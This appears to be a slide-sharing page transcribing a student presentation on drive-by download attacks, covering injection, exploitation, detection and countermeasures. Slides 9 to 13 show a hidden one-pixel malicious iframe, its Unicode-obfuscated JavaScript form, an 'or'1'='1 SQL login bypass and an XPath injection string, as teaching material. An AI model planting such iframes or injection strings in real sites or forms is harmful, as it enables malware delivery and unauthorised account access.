Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 

Drive by downloads-cns

  • 1. Drive-By Downloads Presenter: Darakhshan Naz Teacher: Professor Dr. Muhammad Mubashir Khan 04.05.2013 1
  • 2. Agenda  Introduction  Mechanisms of Drive-by Download  General Detection Approach  Security Measures  Assessment & Conclusion 2
  • 3. What is Drive-by Download?  A technique that involves ◦ Intended downloads without understanding consequenes  E.g. Executables ◦ Unintended downloads  E.g. Virus, spyware  Can happen by: ◦ Visiting a website ◦ Viewing an email message  Installs malicious program, termed as Malwares ◦ Through Malwares, attacker gets full or partial control of victim‘s system 3
  • 4. 4 (2) Read email Contains a website link (3) Attract user‘s interest User Click Website has many links (5) Surf every site but getting bored (no interest develop) Close website User Attacker (6) Sends user a spoofed Email User‘s browser (7) Attacker sends malicious code and exploit vulnerability (8) Malicious code creates connection between user and attacker (9) Download and install its backdoor Program (10) Steal all user‘s important files and make him compromised over network Example - Scenario Drive – By Download ! Source of Concept : Report- Defence against Drive-by Download by National Security Agency US User is completely unaware of attack (4) Go to website(1) Open Browser
  • 5. Purpose of Drive-by Download • Provide gateway to botnets. • Take advantages of vulnerabilities. • Steal personal or confidential information of user. • Leads or redirects user to other malicious websites and make him compromised. 5
  • 6. Mechanisms of Drive-by Download 6 Basic Concept of Drive-by Download Attack (Source: [1]) 1 2 43 Injection Exploitation
  • 7. Injection  What is Injection : ◦ The act of entering data into application by bypassing security controls and change its behaviour in unexpected way.  Reason of Injection : ◦ Existance of vulnerabilities.  Drive-by Download initates by the injection of malicious code in database, application or server.  Ways of Malicious code injection: ◦ Injection through iFrames ◦ SQL Injection ◦ XPATH Injection 7
  • 8. How and where to Inject ? 8Source : http://www.malware-info.com/mal_faq_inject.html • SQL Injection • Xpath Injection Injection through iFrames Malware placed directly on Webserver
  • 9. Injection through iFrames  The most basic form of injected code is a malicious iFrame such as:  Example: <div style=visibility: hidden; position: absolute: 1; top:1> <iframe id=IFRAME name=IFRAME src= http://www.example.com/page_with_malware.htm scrolling= no width=1 height=1 vspace=0 hspace=0 frameborder=0> </iframe> </div> 9 This iFrame is present in the HTML of a requested web page Content from this source render in an invisible 1 pixel x 1 pixel window. Sometimes, iFrames present in encoded form that seems normal. The process of encoding is known as "obfuscation“.
  • 10. Obfuscation  The process of disguising code through encoding.  The previous iFrame can be converted to a JavaScript Unicode string using any encoding tool.  Encoding tool: http://www.auditmypc.com/html- encoder.asp  On browsing of injected page, the JavaScript dynamically generates an iframe.  This causes malicious content from a website controlled by an attacker to execute inside the requested web page. 10
  • 11. Obfuscation  Obfuscated form of iFrame is : <script type="text/javascript">document.write('u003Cu0064u0069u0076u0020u0073u00 74u0079u006Cu0065u003Du0076u0069u0073u0069u0062u0069u006Cu006 9u0074u0079u003Au0020u0068u0069u0064u0064u0065u006Eu003Bu0020 u0070u006Fu0073u0069u0074u0069u006Fu006Eu003Au0020u0061u0062u 0073u006Fu006Cu0075u0074u0065u003Au0020u0031u003Bu0020u0074u0 06Fu0070u003Au0031u003Eu0020u0020u0020u0020u0020u0020u0020u00 20u0020u0020u0020u003Cu0069u0066u0072u0061u006Du0065u0020u006 9u0064u003Du0049u0046u0052u0041u004Du0045u0020u006Eu0061u006D u0065u003Du0049u0046u0052u0041u004Du0045u000Du0020u0020u0020 u0073u0072u0063u003Du0020u0068u0074u0074u0070u003Au002Fu002Fu 0077u0077u0077u002Eu0065u0078u0061u006Du0070u006Cu0065u002Eu0 063u006Fu006Du002Fu0070u0061u0067u0065u005Fu0077u0069u0074u00 68u005Fu006Du0061u006Cu0077u0061u0072u0065u002Eu0068u0074u006 Du000Du0020u0020u0020u0073u0063u0072u006Fu006Cu006Cu0069u006 Eu0067u003Du0020u006Eu006Fu0020u0077u0069u0064u0074u0068u003D u0031u0020u0068u0065u0069u0067u0068u0074u003Du0031u0020u0076u 0073u0070u0061u0063u0065u003Du0030u000Du0020u0020u0020u0020u0 068u0073u0070u0061u0063u0065u003Du0030u0020u0020u0066u0072u00 61u006Du0065u0062u006Fu0072u0064u0065u0072u003Du0030u003Eu000 Du003Cu002Fu0069u0066u0072u0061u006Du0065u003Eu000Du003Cu002 Fu0064u0069u0076u003Eu000Du000D');</script> 11
  • 12. SQL Injection  Bypass the authentication process.  Provide access of data to malicious user or attacker.  Example : In any userForm page if we enter Username: 'or‘1‘=‘1 and Password: 'or‘1‘=‘1 then webpage will execute this query form SELECT * FROM Users WHERE Username=`1' OR `1' = `1‘ AND Password = `1' OR `1' = `1‘ Parameters have always logical true condition Authentication process is validated and attacker can get access to any account in database. 12
  • 13. XPATH Injection  Almost similar to SQL Injection.  Now “target“ is XML Document.  Insecurity caused by the injection of XPATH query or conditions through webpage.  Example : ◦ If any user has an account in any site with Username=John and Password = test123, then logically he will see his account only. • If same user enters his username like John' or 1 = 1 with same password then system will authenticate him and show the entire XML document to him. 13
  • 14. Mechanism of Drive-by Download 14 Basic Concept of Drive-by Download Attack (Source: [1]) 1 2 43 Injection Exploitation
  • 15. Exploitation  What is Exploitation : ◦ The act by an attacker to perform activities on victim‘s system on his own wish after getting full or partial control.  Reason of Exploitation: ◦ Ignore the updating of installed applications. ◦ According to Secunia PSI, about 95.46% users have one or more insecure applications. ◦ Newer version may correct one or more vulnerabilities in the installed application.  Vulnerabilities that are mostly exploited : ◦ Browser Vulnerability. ◦ Plugin Vulnerability. ◦ File Format Vulnerability. 15
  • 16. Types of Vulnerabilities  Browser Vulnerability ◦ Attacker injects malicious code into user‘s browser and changes its setting without his knowledge.  Plugin Vulnerability ◦ Plugin is provided by third parties that can be vulnerable; may lead to buffer overflows, memory corruption issues and pointer overwrites.  File Format Vulnerability ◦ Attackers attach malware to Word, Excel or PDF files, distributed through email or websites. Exploit will occur when editing program opens them. 16
  • 17. General Detection Approach  Javascript-script based malwares seems difficult to detect and analyze.  Requires a comprehensive approach to detect both root cause and dynamic behaviour.  Specialized Detection Methods: ◦ CUJO[2]  Static + Dynamic analysis of Javascript  Detection through machine learning ◦ ARROW[8].  Create Regular Expression Signatures for servers of MDN.  Evaluate their effectiveness. Here the generalized detection approach will be discussed which is the basic idea to detect. 17
  • 18. Step1: Analysis of JS Redirection  For an effective detection approach, analysis of JavaScript is mandatory. • User is victimized in two ways: • Either he may directly expose to vulnerable site. • Or an attacker reaches to him through a series of redirections.  Two approaches can be taken to investigate redirections. ◦ Implementing some settings into JavaScript code (e.g: document.location). ◦ Taking Browser‘s history. 18
  • 19. Step2: JavaScript Deobfuscation  Most of the malicious JavaScript is in obfuscated (encoded) form.  Deobfuscation (conversion from complex form to simple form) can help to identify malicious code.  It is possible through manually or any automated tool.  Automated Tools : e.g: ◦ Development Tool in Google Chrome. ◦ Microsoft Script Debugger or Editor. 19
  • 20. Step3: Detection of Memory Corruption  Most attacks corrupt the memory.  Attacker tries to enter into browser and run his shellcode. ◦ A shellcode is a small code through which attacker gets control of victim‘s system. • Attacker then uses JavaScript to allocate large number of strings for the shellcode. • These strings are not the part of real code but for memory allocation by the attacker. • Detection of these strings can give the indication of shellcode. 20
  • 21. Contd.  Detection of these strings can be done through two ways: ◦ Controlling and maintaining of string variables whenever they are created. ◦ For automated detection, libemu library is used.  It searches from each character and when it finds a sequence of valid instructions, it reports shellcode. 21
  • 22. Step4: Investigation of Exploitation  Exploitation is last step of Drive-by Download attack that take advantage of vulnerabilities.  It can be detected through two ways : ◦ Analysis of behaviours of Browsers and Plug-ins ◦ Monitoring of string passing as parameters and method calls. Usually long strings are used in exploits and certain methods are called in malware downloading. 22
  • 23. Security Measures  Updation of softwares.  Installation of web-filtering softwares.  Implementation of BLADE(Block All Drive-by Download Exploits).  Proper management by Network Administrators.  Users should be careful while visiting sites specially entertainment and social sites as they may have Adversaries.  Usage of reputed search engines like Google, Microsoft, Yahoo, AVG or Bing.  Usage of Virtual Machine for Web Browsing. 23
  • 24. The Good  Automated techniques (compiler or library) of deobfuscation is really helpful for the identification of malicious JavaScript.  Detection should be focussed on central points. ◦ Evilseed[11] provides a crawling approach focussing on central points of Malware.  Machine Learning can provide light weight Javascript analysis, fast detection mechanisms and handling of vulnerabilities in runtime.  Proper input validations can reduce SQL and XPATH injection. 24
  • 25. The Bad  Can easily happen but very hard to overcome.  Possibilities of attack are rapidly increasing but validity of detection approaches is not possible every time.  Defensive approach is better to fight against these attacks because of two reasons : ◦ Intense Dynamic behaviour. ◦ Complex and time consuming detection approaches. 25
  • 26. The Ugly  Mostly show unexpected behaviour.  Due to diversity of different ways of attack, it has high ratio of victims and it is difficult to design a detection approach that covers all possibilities.  Not any computing device seems to be safe from Drive-by Download.  As Drive-by Download attack is increasing enormously, perhaps in near future, hard drives or portable device vulnerabilities may also exist. 26
  • 27. Thanks for your attention 27
  • 28. References(1) [1] Egele, M., Wurzinger, P., Kirda, E.: Defending Browsers against Drive-by Downloads: Mitigating Heap-Spraying Code Injection Attacks (2009). [2] Rieck, K., Krueger, T., Dewald, A.: CUJO-Ecient Detection and Prevention of Drive-by Download Attacks, Tecnische Universitaet Berlin. [3] Stone-Gross, B., Cova M. , Kruegel, C. , Vigna, G.: Peering through the iFrame University of California, University of Birmingham. [4] Westervelt, R.: Kaspersky website hacked (February 2009). [5] Cova, M. , Kruegel, C., Vigna G.: Detection and Analysis of Drive-by-Download Attacks andMalicious Javascript Code University of California, Santa Barbara From ACM digital library. [6] Interesting statistics from the Secunia PSI (January 2008) http://secunia.com/blog/18. 28
  • 29. References(2) [7] Luy, L., Yegneswaranz, V., Porrasz, P.: BLADE: An Attack- Agnostic Approach for Preventing Drive-By Malware Infections College of Computing, Georgia Institute of Technology, SRI International From ACM digital library. [8] Zhang, J., Seifert, C., Stokes, J.W., Lee, W. : ARROW: Generating Signatures to Detect Drive-By Downloads Georgia Institute of Technology, Microsoft Bing, Microsoft Research [9] Devi, D., Pathak, D., Nandi, S.: Vulnerabilities in Web Browsers Indian Institute of Technology, Guwahati, India. [10] Provos, N., Mavrommatis, P., Moheeb, A. R., Monrose, F.: All your Iframes point to us Google Inc., Johns Hopkins University. [11] Invernizzi, L., Benvenuti, S., Cova, M., Comparetti, P., M., Krueg el, C., Vigna,G.:EVILSEED: A Guided Approach to Finding MaliciousWeb Pages, 2012 IEEE Symposium on Security and Privacy 29